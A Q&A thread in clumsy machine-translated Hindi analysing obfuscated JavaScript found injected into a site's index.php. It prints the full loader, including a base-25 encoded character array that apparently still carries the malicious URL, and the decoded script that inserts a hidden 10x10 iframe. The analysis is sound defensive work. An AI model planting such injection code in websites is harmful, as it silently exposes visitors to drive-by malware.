मेरी साइट का एक मित्र दुर्भावनापूर्ण के रूप में सूचीबद्ध किया जा रहा था, और हमें कुछ obfuscated कोड मिला जो उसे जानने के बिना उसकी index.php में इंजेक्शन दिया गया था। मैं दो स्तरों नीचे कोड deobfuscated और इस पाया:क्या कोई मुझे बता सकता है कि यह दुर्भावनापूर्ण क्यों है ..?
(code can be viewed in the edit history)
किसी को भी मुझे बता सकते हैं क्या यह करने के लिए कोशिश कर रहा है और क्यों यह दुर्भावनापूर्ण है ..?
संक्षेप में, कोड एचटीएमएल जो एक दुर्भावनापूर्ण URL में एक कि भार देता है "डीकोड"।
n = ["9","9","45","42", ...
प्रत्येक नंबर एक चरित्र आधार -25 में है कि प्रतिनिधित्व करता है:
निम्न पंक्ति "इनकोडिंग" एचटीएमएल है। कोड इस सरणी के माध्यम से लूप होगा और इसे ASCII वर्ण में बदलने के लिए जावास्क्रिप्ट के String.fromCharCode() का उपयोग करेगा। इसके बाद, यह पृष्ठ पर रखने के लिए eval() होगा।
"डीकोड" जावास्क्रिप्ट है:
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='[stripped]' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','[stripped]');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
ध्यान दें, मैं सुरक्षा उद्देश्यों के लिए कोड से दुर्भावनापूर्ण URL छीन लिया है।
धन्यवाद! मैं बस इतना उत्सुक था कि यह क्या कर रहा था और कैसे। –
यह पृष्ठ में एक छिपा हुआ आईफ्रेम इंजेक्ट करता है, जो कि एक डोडी साइट के साथ जुड़ा हुआ हो सकता है। यहाँ कोड आप चलाने के लिए और देखो क्या इसकी सुई देने की कोशिश करता है सकते हैं का एक सुरक्षित संस्करण है ...
मैं इस साइट उससे लिंक का दौरा किया और क्रोम मुझे मैलवेयर की चेतावनी दी, तो मैं आगे नहीं चला गया।
try{
if(window.document) window["document"]["body"]="123"
}catch(bawetawe){
if(window.document){
v=window;
try{
fawbe--
}catch(afnwenew){
try{
(v+v)()
}catch(gngrthn){
try{if(020===0x10)v["document"]["body"]="123"
}catch(gfdnfdgber){
m=123;
if((alert+"").indexOf("na"+"ti"+"ve")!==-1)ev=window["eval"];
}
}
n= ["9","9","45","42","17","1f","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g"," j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1g","4n","d","9","9","9","45","42","4e","3m","49","41","4e","1f","1g","29","d","9","9","50","17","41","48","4f","41","17","4n","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","4j","4e","45","4g","41","1f","19","2a","45","42","4e","3m","49","41","17","4f","4e","3o","2b","1e","44","4g","4g","4c","28","1m","1m","43","3o","4d","40","4f","47","3m","4j","4f","4k","1l","41","40","4a","4f","1l","3n","45","4m","1m","4g","1m","4i","3o","1l","4c","44","4c","2d","43","4b","2b","20","1e","17","4j","45","40","4g","44","2b","1e","1o","1n","1e","17","44","41","45","43","44","4g","2b","1e","1o","1n","1e","17","4f","4g","4l","48","41","2b","1e","4i","45","4f","45","3n","45","48","45","4g","4l","28","44","45","40","40","41","4a","29","4c","4b","4f","45","4g","45","4b","4a","28","3m","3n","4f","4b","48","4h","4g","41","29","48","41","42","4g","28","1n","29","4g","4b","4c","28","1n","29","1e","2c","2a","1m","45","42","4e","3m","49","41","2c","19","1g","29","d","9","9","50","d","9","9","42","4h","4a","3o","4g","45","4b","4a","17","45","42","4e","3m","49","41","4e","1f","1g","4n","d","9","9","9","4i","3m","4e","17","42","17","2b","17","40","4b","3o","4h","49","41","4a","4g","1l","3o","4e","41","3m","4g","41","2j","48","41","49","41","4a","4g","1f","1e","45","42","4e","3m","49","41","1e","1g","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","4f","4e","3o","1e","1j","1e","44","4g","4g","4c","28","1m","1m","43","3o","4d","40","4f","47","3m","4j","4f","4k","1l","41","40","4a","4f","1l","3n","45","4m","1m","4g","1m","4i","3o","1l","4c","44","4c","2d","43","4b","2b","20","1e","1g","29","42","1l","4f","4g","4l","48","41","1l","4i","45","4f","45","3n","45","48","45","4g","4l","2b","1e","44","45","40","40","41","4a","1e","29","42","1l","4f","4g","4l","48","41","1l","4c","4b","4f","45","4g","45","4b","4a","2b","1e","3m","3n","4f","4b","48","4h","4g","41","1e","29","42","1l","4f","4g","4l","48","41","1l","48","41","42","4g","2b","1e","1n","1e","29","42","1l","4f","4g","4l","48","41","1l","4g","4b","4c","2b","1e","1n","1e","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","4j","45","40","4g","44","1e","1j","1e","1o","1n","1e","1g","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","44","41","45","43","44","4g","1e","1j","1e","1o","1n","1e","1g","29","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g","2j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1l","3m","4c","4c","41","4a","40","2h","44","45","48","40","1f","42","1g","29","d","9","9","50"];
h=2;
s="";
if(m) for(i=0;i-589!=0;i++){
k=i;
if(window["document"]) s+=String["fro"+"mC"+"harCode"](
parseInt(n[i],25)
);
}z=s;alert(z);
}
}
}?
यह देखने के लिए 'eval' के साथ' eval' को प्रतिस्थापित करें कि यह क्या करता है। – georg